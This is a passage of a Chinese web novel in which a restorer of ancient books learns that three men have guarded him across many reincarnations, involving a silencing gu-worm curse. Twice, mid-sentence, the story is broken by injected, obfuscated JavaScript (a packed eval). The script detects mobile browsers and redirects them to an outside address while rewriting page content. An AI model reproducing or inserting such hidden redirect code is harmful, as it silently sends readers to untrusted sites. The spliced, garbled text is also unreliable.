周屹没有给他调整的机会。右手探出,手掌根部精准拍在那人后脑与颈椎的连接处。 力道控制得极其精妙。 第二个人也软倒下去,同样瞬间昏迷。 整个过程,不超过五秒。 没有打斗,没有呼喊,甚至没有多余的动作。周屹就像一台精密的机器,用最经济的方式完成了“清除”。 君荼白在暗处看着,后背渗出冷汗。 这已经不是上午那种控制技术了。 这是一击制敌、瞬间剥夺行动能力的特种作战手法。 周屹蹲下身,快速检查了那两人的脉搏和呼吸,确认他们只是昏迷。然后,他从口袋里掏出两副塑料束带,将他们的手腕在背后束紧。 动作熟练得令人心惊。 做完这些,周屹才站起身,转头看向君荼白藏身的方向。 他早就知道君荼白在那里。 周屹走过来,脚步依然很轻。他在君荼白面前停下,帽檐下的眼睛在昏暗光线下亮得惊人。 他从口袋里掏出手机,打了一行字: “他们是来偷古籍的。已经处理。” 君荼白看着那行字,又看看仓库里昏迷的两个人,最后看向周屹。 “你……一直在跟着我?”他问。 周屹点头。 “为什么?” 周屹沉默了几秒,又打了一行字: “我的职责。” “谁的职责?谁派你的?” 周屹摇摇头,表示不能说。但他的眼神里,有一种深沉的、近乎执拗的忠诚。 君荼白深吸一口气:“上午……陆顾问救了我。你知道他是什么人吗?” 听到“陆顾问”三个字,周屹的身体明显僵硬了一瞬。 他的手指在手机屏幕上悬停良久,最后打出了一行让君荼白完全意想不到的字: “他是我见过最克制的人。” 克制? 君荼白正要追问,周屹却已经收起手机。他指了指仓库里那两个人,又指了指远处,做了个“带走”的手势。 然后,他弯腰,一手一个,将那两个人扛在肩上,就像拎老鼠一样轻松。 他最后看了君荼白一眼,眼神复杂——有担忧,有决绝,还有一种君荼白读不懂的……歉意。 然后,他转身,消失在夜色里。 君荼白站在原地,夜风吹过,冷得他打了个寒颤。 今天发生的两件事,像两块拼图,在他脑子里缓缓拼接。 陆予瞻——深不可测,极度专业,拥有超越常人的能力,却完美隐藏在日常面具下。 周屹——沉默如影,身手骇人,执行着某种“职责”,忠诚到近乎执拗。他对陆予瞻的评价是“最克制的人”,他们彼此认识,且周屹知道陆予瞻的隐藏。 还有那本《梦溪异闻录》,引来不明人士的抢夺…… 以及自己身体里逐渐苏醒的、不属于文献修复师的肌肉记忆…… 所有的线索,都指向一个越来越清晰的真相: 他被卷入了一个庞大而精密的计划中。 而这个计划,已经运行了很久很久。 陆予瞻和周屹,都是计划的一部分。 而他自己,很可能是计划的核心。 君荼白握紧了拳头。 他抬起头,看向城市夜空。 繁星隐在云层后,只有零星的几点光亮。 就像这个谜团——他只能看到零星的线索,但完整的图案,还隐藏在深不可测的黑暗里。 但没关系。 猎手已经锁定了方向。 现在要做的,就是继续前进,继续试探,继续拼凑。 4. 疼痛是身体记得的另一种语言 凌晨三点,君荼白在疼痛中醒来。 这次的疼痛来自更深的地方,他的左肩胛骨下方三寸,是一个旧烫伤的疤痕。此刻它像被烧红的铁丝网紧贴着皮肤,每一道网格都在灼烧,刺痛沿着肋骨缝隙爬行,一直蔓延到脊椎第三节。 他蜷缩在床上,咬着牙,呼吸又浅又急。冷汗浸湿了额发,顺着太阳穴滑进枕头里。 他这样不是第一次了。但这一次,疼痛格外清晰。 他颤抖着手摸向那片皮肤。疤痕组织粗糙的触感下,能摸到几个微小的、硬质的凸起,排列成奇怪的图案——像星座,或者某种符文的笔画。 以前为什么没发现? 也许是因为以前从没这么痛过。 疼痛持续了大概十分钟,然后像退潮一样缓缓撤离,留下一种虚脱后的冰凉。君荼白瘫在床上,盯着天花板,脑子里一片空白。 直到左手腕的疤痕又开始发热。 温和的持续的热度,像在安慰,又像在提醒。 提醒什么? 他不知道。只知道每次这里发热之后,身体里那种无处可去的焦躁会稍微平息一点。仿佛这道痕是一个阀门,释放了某种积累过度的东西。 他慢慢坐起来,打开床头灯。昏黄的光线里,他低头看着自己的左手腕。月牙形的痕迹在灯光下泛着淡粉色的光,边缘规整得不自然。他伸出右手食指,轻轻按上去—— 咔哒。 一声很轻的、来自意识深处的响声。 然后,一段对话的碎片毫无征兆地浮现: “……这里要留个门。” 一个年轻人的声音,冷静得近乎冷酷,“疼的时候,就从这里放掉一点。放多了会失控,放少了会炸开。记住,每次只能三分钟。” “谁在说话?” 另一个声音问,带着颤音。 “以后的你。” 年轻的声音说,“记住这个位置。疼,就按这里。” 画面很模糊,只有两个对坐的剪影。但君荼白能感觉到,那个带颤音的声音——是他自己的。 而那个冷静的声音……也是他自己的。 只是音色更年轻,语气更冷。 他猛地收回手,对话碎片消失了。但指尖残留着微弱的搏动感,像是皮肤下面,真的有什么东西在规律地收缩、舒张。 像一个……活着的器官。 第二天早晨,君荼白在镜子里看见自己眼下浓重的青黑。 他用冷水洗了把脸,试图让自己清醒。但手指碰到锁骨下方那片淡红色痕迹时,又一阵细微的刺痛传来。他皱起眉,凑近镜子仔细看。 那片“胎记”,颜色似乎比昨天深了一点。而且边缘出现了极细微的、放射状的毛细血管扩张,像某种根系在皮肤下缓缓蔓延。 他盯着看了很久,直到室友林澈在门外喊他:“荼白!再不出来要迟到了!” “来了。”君荼白应了一声,快速套上衣服。又是那件灰色卫衣,习惯性地闻了闻。这一次,他感觉到有一股烟草味。 以前没有的。 或者说,以前他没注意到。 他没有再仔细确认。某种直觉告诉他:不要确认。一旦窥见,就会被卷入无法控制的洪流。 档案馆的工作日如常开始。 君荼白坐在修复室里,面前摊着《梦溪异闻录》的第二页。今天的工作是处理纸张背面的加固。他需要把特制的修裱纸裁剪成合适的形状,用稀释的糨糊涂在背面,再小心地覆盖上去,用羊毛滚轮一点点压平,挤出所有气泡。 枯燥,重复,需要极致的耐心。 但今天,他的手指不太听话。 在裁剪修裱纸时,美工刀突然滑了一下,在指尖划出一道细口。血珠渗出来,滴在白色的修裱纸上,迅速晕开一小团淡红色。 君荼白愣住。 因为血滴在纸上的瞬间,纸张上那些原本静止的墨迹——突然动了一下。 像被惊扰的虫群,细微但确实地,朝着血滴的方向聚拢了零点几毫米。 他盯着那片纸,屏住呼吸。过了大概十秒,墨迹慢慢退回原位,仿佛什么都没发生。 幻觉。 一定是幻觉。是昨晚没睡好,是疼痛的后遗症,他或许真该住院了…… 修复室的门被推开了。 君荼白下意识地把受伤的手指藏到桌下,抬头看去。进来的是老陈,但他身后还跟着一个人—— 沈鉴。 今天他穿了件黑色高领毛衣,外面套着实验室白大褂,没戴眼镜,头发随意地抓向后,露出清晰的眉骨和那双过分锐利的眼睛。他手里拿着一个平板电脑,目光扫过修复室,最后落在君荼白脸上。 “君先生。”沈鉴开口,声音里那种甜腻的质感淡了些,多了点公事公办的冷感,“陈主任说你在修复《梦溪异闻录》,基金会这边想做个修复过程的影像记录,作为资料保存。不介意吧?” 老陈在旁边补充:“荼白,沈先生是基金会特聘的研究员,专门研究古籍保护技术。你们聊聊,我去处理个文件。” 老陈离开了,门重新关上。 修复室里只剩下两个人,和空气里弥漫的旧纸张与化学试剂的味道。 沈鉴走到工作台边,目光落在摊开的古籍上,又移到君荼白脸上。他的视线停留得太久,久到君荼白开始觉得不自在。 “开始吧。”沈鉴说,架起平板电脑,打开摄像模式,“你照常工作,我记录。” 君荼白点头,重新拿起工具。但手指还在微微发抖,刚才划伤的地方传来一种奇怪的麻痒感,像有什么东西正顺着伤口往皮肤里钻。 他强迫自己专注。裁剪,涂糨糊,覆盖,压平……每一个步骤都放得很慢,很仔细。沈鉴的镜头一直对着他的手,偶尔调整角度,捕捉纸张的细节。 全程没有人说话。 只有工具接触纸张的细微声响,和空调系统低沉的嗡鸣。 直到君荼白处理到古籍边缘一处特别脆弱的区域。那里的纸张薄得几乎透明,墨迹完全晕开,只能勉强看出是几个字的轮廓。 他拿起最小的毛笔,蘸了一点特制软化剂,准备轻点上去。 “等一下。”沈鉴突然开口。 君荼白的手停在半空。 沈鉴放下平板,走近,从白大褂口袋里掏出一个巴掌大的金属仪器。仪器像个小型的扫描枪,前端有暗蓝色的光点。他打开开关,光点照在古籍边缘的区域。 仪器屏幕亮起,显示出一串快速滚动的数据和频谱图。 “这里……”沈鉴盯着屏幕,眉头微微皱起,“纸张纤维里有异常蛋白质残留。浓度很高,而且——是活的。” “活的?”君荼白没听懂。 “嗯。”沈鉴关掉仪器,看向他,眼神里那种非人的审视感又回来了,“某种休眠状态的微生物。或者……更复杂的东西。你的软化剂配方里,有蛋白酶吗?” “没有。是中性配方。” “那最好不要直接接触。”沈鉴从工具架上拿起一副崭新的□□手套,戴上,然后接过君荼白手里的毛笔,“我来处理。你退后一点。” 他的动作很快,很专业。软化剂点在纸张上,没有引发墨迹流动。但君荼白注意到,沈鉴在点下去的瞬间,手腕有一个极其轻微的、顺时针旋转的动作——更像在画一个看不见的符号。 而那片区域的纸张,在软化剂渗透后,表面浮现出几道极淡的、银色的纹路。只出现了不到两秒,就消失了。 “那是什么?”君荼白问。 “纸张原本的防虫处理痕迹。”沈鉴说得很自然,摘下手套,扔进专门的生物废弃物垃圾桶,“明清时期有些地方会用含汞的药剂处理贵重文献,时间长了会形成这种银化纹路。” 他说得很有道理。 但君荼白不信。 因为在那银色纹路出现的瞬间,他左肩胛骨下那片疤痕又痛了一下。短暂的、尖锐的一下,像被针扎。 而沈鉴的目光,有意无意地扫过了他后背的那个位置。 仿佛他知道那里会痛。 修复工作持续到下午四点。 沈鉴记录了整个过程,期间偶尔会问一些技术问题,语气平静专业,完全是一个研究员该有的样子。但君荼白能感觉到,那双眼睛不止是观察古籍,更在观察他。 观察他的动作,他的呼吸频率,他每次触碰古籍时手指的颤抖程度。 甚至有一次,君荼白因为长时间低头而脖颈酸痛,下意识转了转头。沈鉴立刻开口:“颈椎不舒服?” “……有点。” “修复工作很耗神。”沈鉴说,从随身包里拿出一个很小巧的电子体温计似的东西,“张嘴。” “什么?” “测一下基础代谢率。长时间保持固定姿势,代谢会降低,影响注意力和手的稳定性。”沈鉴的语气不容置疑,“我是研究员,这也是数据收集的一部分。” 君荼白犹豫了一下,还是张开了嘴。 那个小仪器伸进来,压在舌下。金属触感冰凉。三秒后,仪器发出轻微的“滴”声。 沈鉴收回仪器,看了眼屏幕,数据快速滚动。 “代谢率正常,但肾上腺素和皮质醇水平偏高。”他抬眼看向君荼白,“你在紧张?” “……有点不习惯被记录。” “理解。”沈鉴收起仪器,但目光没有移开,“不过,身体数据不会说谎。你最近睡眠质量很差,压力也大。是因为这本古籍?” 问题来得突然。 君荼白停顿了几秒,才说:“可能吧。它……有点特别。” “特别在哪里?” “墨迹会变化。纸张的反应也不正常。”君荼白说完就后悔了,他不该说这些,这听起来像疯话。 但沈鉴没有笑。他反而走近一步,压低声音:“怎么变化?” “遇湿会重组。会出现新的字。”君荼白听见自己的声音在说,像不受控制,“还有……会对应人体的位置。” “人体的位置?”沈鉴的眼神变了,混着一种兴奋,“比如?” 君荼白没有说话。他抬起左手,指了指自己的手腕。 沈鉴的目光落在那道月牙痕上。然后,他做了一个让君荼白完全没有预料到的动作。 他伸出手,握住了君荼白的手腕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052000|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指很凉。力道不大,但完全禁锢。 “这里?”沈鉴的拇指按在月牙痕的中心,用力向下压。 剧痛。 那种来自骨头深处,像有无数根细针顺着骨髓往上爬,一路扎进大脑。君荼白闷哼一声,想抽回手,但沈鉴握得很紧。 “疼?”沈鉴问,声音很轻,眼睛盯着君荼白瞬间苍白的脸。 “放手。” “告诉我,怎么个疼法。”沈鉴的拇指又按了一下,这一次更用力,“是表皮疼,还是骨头疼?是持续性的,还是脉冲式的?疼的时候,会不会看见什么?听见什么?” 君荼白咬紧牙关,冷汗从额角滑下来。疼痛让视野边缘开始发黑,耳边响起尖锐的鸣叫,混着一些破碎的声音: “……标记要深……深到忘不掉……” “……疼就对了……疼才记得住……” “……这里是门……也是锁……” “放手!”君荼白猛地抽回手,踉跄着后退,撞在工作台上。工具哗啦掉了一地。 沈鉴站在原地,看着自己空掉的手,又看向君荼白。他的表情很奇怪——没有歉意,没有惊讶,就像完成验证了某个假设的任务一样。 “抱歉。”他说,语气里听不出抱歉,“我只是想确认一些事。” “确认什么?”君荼白喘息着,左手腕还在突突地跳痛。 沈鉴没有直接回答。他弯腰,捡起掉在地上的几样工具,放回工作台。然后从白大褂口袋里掏出一小管药膏,放在桌上。 “涂在手腕上。能缓解疼痛。”他说,“配方是基金会实验室特制的,对……这种旧伤很有效。” 君荼白盯着那管药膏。纯白色,没有任何标签。 “你早就知道我这里会疼。你到底是什么人。”他说,不是疑问句。 沈鉴沉默了几秒。 “我确实知道很多事。”他最后说,声音恢复了那种公事公办的冷感,“包括这本古籍为什么会对你有反应。包括为什么你每周三会去那家咖啡馆。包括为什么陆予瞻会接近你,周屹会守着你。” 他每说一句,君荼白的呼吸就紧一分。 “为什么?”他听见自己问,声音干涩。 沈鉴看着他,那双妖冶的眼睛在日光灯下显得格外深邃。 “因为你是一把钥匙。一把被折断过、又强行拼起来的钥匙。而我们在找的,是那扇门。” “什么门?” “一扇…关着很多东西的门。痛苦,记忆,错误,还有……一些本该消失的人。” 他说完,拿起平板电脑,转身走向门口。 “今天先到这里。药膏记得涂。”他在门口停住,回头看了君荼白最后一眼,“还有,如果陆予瞻问起,不要说我来过。这是为你好。” 门开了又关。 沈鉴的脚步声渐行渐远。 修复室里恢复寂静。只有君荼白一个人,站在满地狼藉中,左手腕还在痛,左肩胛下的疤痕也在隐隐作痛。 而他面前的工作台上,那管白色药膏静静躺着。 像某种邀请。 君荼白没有涂那管看起来就不对劲的药膏。 他把它锁进了抽屉,和那枚印章放在一起。然后收拾好工作台,关灯,离开档案馆。 天已经黑了。夜风很冷,吹在脸上像刀子。他裹紧外套,快步往公寓走。 路过便利店时,他进去买了瓶水。收银员是个脸生的女孩,眼圈红红的,找钱时手在抖。君荼白接过零钱时,指尖不小心碰到了她的手背。 瞬间,一股剧烈的情绪涌进来—— 恐惧。绝望。还有……肮脏感。像被什么东西从里到外污染了,怎么洗都洗不干净。 君荼白猛地收回手,零钱掉了一地。 “对不起!”女孩慌忙道歉,蹲下去捡。 君荼白也蹲下帮她捡。捡钱时,他看见女孩手腕上有一圈淡淡的淤青,像是被用力抓握过。袖口往上蹭了一点,露出小臂上几道已经结痂的抓痕。 “你……”君荼白开口,却不知道该说什么。 女孩迅速拉下袖子,站起身,把零钱塞给他,然后低头继续整理货架。她的背影绷得很紧,像随时会断掉的弦。 君荼白匆忙走出便利店,站在寒风里,手里捏着那瓶水。水很冰,但比不过他心里的冷。 那个女孩身上的情绪,他太熟悉了。 当那种感觉涌进来时,他的胃部开始痉挛,皮肤开始发痒,喉咙里涌起想吐的冲动。 仿佛他的身体记得那种感觉。 他加快脚步,几乎是小跑着回到公寓。关上门,背靠在门板上,喘息着。房间里没开灯,只有窗外透进来的城市的夜光。 黑暗中,他左手腕又开始发热。 但这次,热度里混着一种奇怪的安抚感。像有一只无形的手,轻轻按在那里,把那些外来的、肮脏的情绪一点点挤出去。 他滑坐在地上,抱住膝盖,把脸埋进臂弯里。 身体在发抖。 他的大脑像一座古老的钟,被看不见的锤子敲响了,余波在每一根骨头里回荡。 5. 沉默是一种更响亮的语言 周屹不是哑巴。 君荼白知道这一点,因为在警车旁第一次见面时,周屹说过“安全”两个字。声音很低,有些沙哑,但发音清晰。 但从那之后,周屹再也没发出过任何声音。 他像一座移动的沉默雕像,用眼神、手势、和存在本身说话。有时候君荼白会想,周屹的沉默不是因为不能说,而是因为不能说——仿佛每说一个字,都要付出某种看不见的代价。 就像现在。 深夜十一点,君荼白认为这是第三次从浅眠中惊醒。这次是因为灯光。(根据林澈反馈君荼白的惊醒次数已经接近正无穷严重打扰林澈睡眠,林澈已经赞助他从宿舍搬出来租个房住了) 光源不是路灯,也不是车灯。是一种规律的、微弱的光,像手电筒被蒙了布,每隔三秒闪烁一次,从楼下往上照,正对着他卧室楼的窗户。 他走到窗边,小心地撩开窗帘。 楼下空荡荡的,只有路灯在冬夜里投下昏黄的光晕。但对面那栋废弃的旧楼楼顶,有个黑影静静站着。距离太远,看不清脸,但那个轮廓,是那杆标枪。 是周屹。 君荼白盯着那个黑影看了几秒,然后转身,穿上外套,下楼。 他不知道自己为什么要下去。也许是因为那个闪烁的光,也许是好奇,也许……只是厌倦了在房间里独自面对那些破碎的感官记忆。 周屹站在废弃楼的防火梯下等着他。看见君荼白走近,他抬手做了个“跟我来”的手势,然后转身走进楼里。 楼很旧了,早就断了电,空气里有灰尘和潮湿水泥的味道。周屹打开一个便携式小手电,光柱在黑暗中切开一条路。两人一前一后,踩着吱呀作响的楼梯往上走,一直走到天台。 天台很空旷,风很大。周屹走到边缘,示意君荼白看对面——正是他住的那栋楼,他的卧室窗户清晰可见。 “你在监视我。”君荼白陈述。 周屹点头,然后从口袋里掏出一个小本子,快速写下一行字,递过来: “是守卫。” 字迹工整,笔画很用力,几乎要划破纸面。 “守卫什么?” 周屹又写: “守卫你。” “为什么?”君荼白看着他,“我不认识你,陆予瞻说以前认识我,沈鉴说我是钥匙,你说你在守卫我。你们到底想从我这里得到什么?” 周屹沉默地看着他。天台的风吹乱了他的头发,露出那双总是显得空洞的眼睛。但此刻,那双眼睛里有种君荼白看不懂的情绪——像痛苦,像歉疚,像某种深不见底的深渊。 他慢慢抬起手,指了指君荼白的左手腕。 然后解开自己外套的拉链,拉开高领衫的领口,露出左侧锁骨下方——那里,有一个淡红色的、月牙形的痕迹。 和君荼白手腕上的一模一样。 只是更浅,更模糊,边缘有些扩散。 君荼白盯着那个痕迹,呼吸有瞬间的停滞。 “这……”他开口,却不知道要问什么。 周屹重新拉好衣领,拿出本子,写: “这是记号。你留下的记号。” “我留下的?我什么时候……” “很久以前。” 周屹的字迹有些颤抖,“你在我身上留下了这个,所以我要守护你。这是契约。” “什么契约?”君荼白的声音不自觉提高,“我不记得什么契约!我也不记得你!” 周屹的手停了。他抬起头,看着君荼白,眼神里有种近乎悲哀的东西。然后他慢慢写: “我知道你不记得。” “你把自己也忘了。” 这句话像一把冰锥,扎进君荼白的意识深处。 他往后退了一步,天台的风吹得他浑身发冷。 “你到底是谁?”他听见自己的声音在抖,“陆予瞻是谁?沈鉴是谁?你们三个,为什么都认识我?” 周屹没有回答。他只是站在那儿,任由夜风吹打,像一棵扎根在水泥地里的、沉默的树。 过了很久,他才重新拿起本子,写: “如果你想知道真相,明天下午三点,去城南旧货市场,找一个叫‘老鬼’的人。他卖旧钟表,摊位上有一个永远不会走的怀表。” 写到这里,他停顿了一下,笔尖悬在纸上,墨迹晕开一个小点。 然后他继续写,这一次,字迹格外用力: “但真相很重,看之前想清楚。” “有些门,开了就关不上了。” 写完,他把那一页撕下来,递给君荼白,然后转身走向楼梯口。 “等等。”君荼白叫住他,“你为什么……不说话?你手机呢,怎么改写字了。” 周屹的背影僵住了。 他慢慢转过身,看着君荼白。天台昏暗的光线下,君荼白看见他的喉结滚动了一下,像在吞咽什么难以下咽的东西。 然后,周屹抬起手,指了指自己的喉咙,摇了摇头。 他不是不能说。 是不敢说。 君荼白突然明白了周屹的沉默,他不是因为生理缺陷,是因为某种……禁忌。仿佛只要他开口说出某个词、某句话,或者被电子监控到就会触发不可挽回的后果。 就像陆予瞻总是欲言又止,就像沈鉴总用学术术语包裹真实意图。 他们都被某种东西束缚着。 而那个东西,似乎和他有关。 周屹像一本合上的、锁死的书。他走下楼梯,脚步声在空旷的楼道里回响,渐渐远去。 君荼白一个人站在天台上,手里捏着那张纸条,看着对面自己房间黑洞洞的窗户。 风很大,吹得纸条哗啦作响。 他低头,再看了一遍上面的字: “城南旧货市场,老鬼,永远不会走的怀表。” “真相很重。” --- 第二天下午两点五十,君荼白站在城南旧货市场的入口。 市场很大,像个迷宫,摊位挤着摊位,卖什么的都有:老家具、旧书、破损的瓷器、生锈的工具、褪色的布料……空气里弥漫着灰尘、霉味和廉价熏香的味道。人很多,讨价还价的声音此起彼伏,收音机里咿咿呀呀地放着几十年前的戏曲。 君荼白在人群里慢慢走着,目光扫过一个个摊位。旧钟表摊不少,大多是卖那种老式座钟和挂钟的,黄铜表面氧化发黑,玻璃罩子满是划痕。 他找了快半个小时,才在一个最偏僻的角落,看到了那个摊子。 摊主是个老头,头发花白,瘦得像一根干柴,穿着洗得发白的蓝色工装,坐在一张小板凳上打盹。面前的摊布上,散落着几十块各式各样的旧表:怀表、腕表、杯表,有的还能走,有的彻底停了。 而在所有表中间,最显眼的位置,放着一块银壳怀表。 表壳很旧了,但擦得很亮,表面雕刻着繁复的藤蔓花纹,正中央镶嵌着一小块暗红色的玛瑙。表链是细银链,已经发黑。 君荼白走近,盯着那块表。 秒针停在十二点的位置,一动不动。 “看表?”老头突然开口,声音嘶哑得像砂纸摩擦。 君荼白吓了一跳:“……嗯。” “这块不卖。”老头没抬眼,继续打盹似的说,“只给有缘人看。” “怎么看?” 老头终于抬起头。他的眼睛很小,眼白浑浊,但眼神很锐利,像能看透皮肉直接钉在骨头上。 “你手腕上,是不是有个疤?”他问,语气平淡得像在问天气。 君荼白下意识地把左手往身后藏了藏。 老头笑了,笑容很淡,没什么温度:“别藏了。周家那小子让你来的吧?他每次带人来,都这反应。” “你认识周屹?” “认识很久了。”老头从口袋里摸出一包廉价的香烟,抽出一根点上,深深吸了一口,“那孩子……苦啊。说不出来,只能憋在心里,憋久了,人都快成石头了。” 烟雾在空气中缓缓上升,混进旧货市场陈腐的空气里。 “为什么他不能说话?”君荼白问。 老头看了他一眼,眼神很深:“不是不能,是不敢。他喉咙里,有东西。” “什么东西?” “你自己看吧。”老头把怀表拿起来,按下表冠旁边的一个隐蔽按钮。 表壳“咔哒”一声弹开了。 里面没有表盘,没有指针。 只有一个小小的、透明的玻璃舱,舱里悬浮着一只银色的虫子。 虫子很小,大概米粒大小,身体细长,有六对几乎看不见的足,头部有两个微小的触角。它在玻璃舱里缓慢地蠕动,周身散发着极其微弱的、银色的荧光。 君荼白盯着那只虫子,左手腕的疤痕突然开始剧烈发烫。 这次不是幻痛,是真实的、灼烧般的痛感。 “这是……”他声音发紧。 “锁声蛊。” 老头说,语气平淡得像在介绍菜名,“下在喉咙里的,专门用来禁言。中蛊的人,一旦试图说出某些特定的词、某段特定的记忆,蛊虫就会立刻收紧,勒住声带。轻则失声,重则窒息。” 君荼白的呼吸停滞了。 “谁给他下的?” 老头没回答,只是把怀表合上,放回原位:“这块表,是母蛊的容器。子蛊在周屹喉咙里,母蛊在这里。子母相连,永世相随。” 他顿了顿,看向君荼白:“你知道这意味什么吗?” 君荼白摇头。 “意味下蛊的人,从一开始就没打算解开。”老头的声音很冷,“母蛊在,子蛊就在。子蛊在,禁制就在。这是死结,除非……” “除非什么?” “除非下蛊的人死了。”老头说,“或者,下蛊的人自己把母蛊毁了。但那样,子蛊也会死,虫子临死前会释放所有毒性,中蛊的人……也活不了。” 天旋地转。 君荼白扶住旁边的货架,才勉强站稳。喉咙发干,心脏在胸腔里狂跳。 “谁下的?”他听见自己问,声音嘶哑,“谁给周屹下的这种蛊?” 老头看着他,浑浊的眼睛里映出君荼白苍白的脸。 然后他慢慢抬起手,指了指君荼白。 “你。” 时间静止了。 市场的喧嚣、人声、收音机里的戏曲……所有声音都在这一刻褪去,只剩下耳朵里尖锐的鸣叫,和心脏沉重而缓慢的搏动。 君荼白盯着老头,想从他脸上找出开玩笑的痕迹。 但没有。老头的表情严肃,眼神里甚至有一丝……怜悯。 “不可能。”君荼白听见自己的声音在说,“我不记得,我怎么可能……” “你不记得的事多了。”老头打断他,从板凳底下摸出一个铁皮盒子,打开,里面是一沓泛黄的旧照片,“看看这个。” 他把最上面那张照片递过来。 照片很旧了,边缘卷曲,颜色发黄。画面里是四个人,站在一个看起来很古老的宅子前。三个人站着,一个人坐着。 站着的三个人,君荼白认得——虽然年轻很多,但他认得。 陆予瞻,大概二十出头的样子,穿着旧式的中山装,没戴眼镜,眼神比现在锐利,嘴角却带着笑。 沈鉴,看起来更瘦,穿着白大褂,手里拿着一个笔记本,表情冷淡,但眼睛盯着镜头,有种专注的侵略性。 周屹,那时脸上还有少年的稚气,但站姿已经笔挺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052001|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神空洞,和现在一模一样。 而坐在中间椅子上的…… 君荼白的手指开始发抖。 那是他。 也不是他。 照片里的人大概十五六岁,穿着旧式的长衫,脸色苍白,但眼神很亮,嘴角带着一丝若有若无的笑。他坐在一张藤椅里,左手随意地搭在扶手上,手腕的位置,那个月牙形的疤痕清晰可见。 而他的右手,正轻轻按在周屹的肩膀上。 周屹站在他椅子旁边,微微低头,像在听什么。 “这是……”君荼白的声音完全哑了。 “这是三十年前。”老头说,指着照片背景里的宅子,“这宅子早拆了,现在盖了商场。但当时,你们四个经常在那儿。” “三十年前?”君荼白猛地抬头,“我才二十四岁!三十年前我还没出生!” 老头看着他,没说话。 只是又拿出一张照片。 这张更旧了,是黑白的。画面里还是那四个人,站在一座石桥上,背景是民国时期的建筑。陆予瞻穿着长袍,沈鉴穿着西装,周屹穿着短打,中间那个人…… 还是他。 穿着学生装,大概十八九岁的样子。 “这不可能。”君荼白往后退,撞翻了旁边一个堆着旧书的箱子,书本哗啦散了一地,“这是伪造的,这……” “还有。”老头不理会他的反应,继续往外拿照片。 第三张,背景是清朝的街道。第四张,背景是明朝的庭院。第五张,背景是某个看起来像实验室的地方,穿着白大褂的沈鉴在调试仪器,陆予瞻在看书,周屹在站岗,而中间那个人—— 躺在某种玻璃舱里,闭着眼睛,手腕上连着管子。 每一张照片里,都有他。 不同的时代,不同的衣着,不同的背景。 但同一个人。 同一个月牙形的疤痕。 君荼白扶着货架,浑身发冷,胃里翻涌着想吐的冲动。视野边缘开始发黑,耳朵里的鸣叫声越来越响。 “这些……都是什么?”他听见自己的声音在问,很远,很飘。 老头把照片收起来,放回铁盒。 “轮回。” 他说,声音很轻,但在君荼白听来像惊雷,“你在轮回里,他们三个在追。追了147世了,一直追到现在。” “为什么……” “因为你身上有他们想要的东西。”老头看向君荼白的手腕,“也因为,你欠他们东西。” “我欠他们什么?” 老头沉默了很久。 然后他指了指那块怀表,指了指里面那只银色的锁声蛊。 “你欠周屹一副嗓子。”他说,“你欠陆予瞻一段人生。你欠沈鉴……一个真相。” “至于他们欠你什么——”老头顿了顿,看着君荼白,眼神复杂,“他们欠你的,早就用命还过了。还不止一次。” 风从市场的过道里吹过,卷起地上的灰尘和碎纸。 君荼白站在那里,看着铁盒子里的照片,看着那块永远不会走的怀表,看着玻璃舱里缓缓蠕动的银色蛊虫。 然后他低头,看着自己手腕上那道月牙形的疤痕。 那里,此刻正散发着灼人的热度。 像在燃烧。 像在苏醒。 像在回应某种跨越了漫长时空的、沉重到无法承受的呼唤。 “我该怎么办?”他听见自己问,声音空荡荡的。 老头把怀表拿起来,递给他。 “带着这个。”他说,“当你准备好听的时候,就打开它。母蛊会唤醒子蛊,子蛊会……让周屹能说出一些话。但记住——” 他的手指紧紧按住表壳。 “每说一个字,都是在消耗他的命。” “你问多少,他答多少,就是在让他用命换你的明白。” “所以想清楚再问。” “有些真相,不如不知道。” 君荼白接过怀表。金属触感冰凉,但玻璃舱的位置,却散发着微弱的热量。 他把怀表握在手里,握得很紧。 紧到掌心被表壳的棱角硌得生疼。 离开旧货市场时,天已经快黑了。 君荼白没有直接回公寓。他在街上漫无目的地走,手里攥着那块怀表,像攥着一块烧红的炭。 照片、蛊虫、轮回、三十年前、一百年前…… 所有信息在脑子里搅成一团,理不出头绪。唯一清晰的是那种感觉——那种沉甸甸的、压在心口的负罪感。 如果老头说的是真的。 如果他真的给周屹下了锁声蛊。 如果他真的欠他们那么多…… 手机突然震动起来。 君荼白掏出来看,是陆予瞻发来的信息: “基金会明天有个晚宴,需要修复师代表出席。你有空吗?” 很平常的工作邀请。 但君荼白盯着那行字,脑子里浮现的却是照片里穿着中山装、眼神锐利的年轻陆予瞻。 他慢慢打字回复: “好。” 发送。 然后他抬起头,看着渐渐暗下来的天色,看着街灯一盏盏亮起,看着行人匆匆的侧影。 世界看起来这么正常。 可他知道,自己正站在一个巨大的、看不见的漩涡边缘。 漩涡下面,是跨越了147世轮回的债务、禁制、和沉没在时间深处的真相。 而他手腕上的那道疤,正持续地、温和地发热。 像在导航。 像在催促。 像在说: “该往下走了。” “该去听听,那些被你锁住的声音了。” 6. 雨夜赴宴 君荼白把那块怀表锁进了公寓保险箱的最里层。 他靠在墙边,长长吐出一口气。仿佛锁进去的是一只随时会噬人的活物。 第二天傍晚,雨又来了。 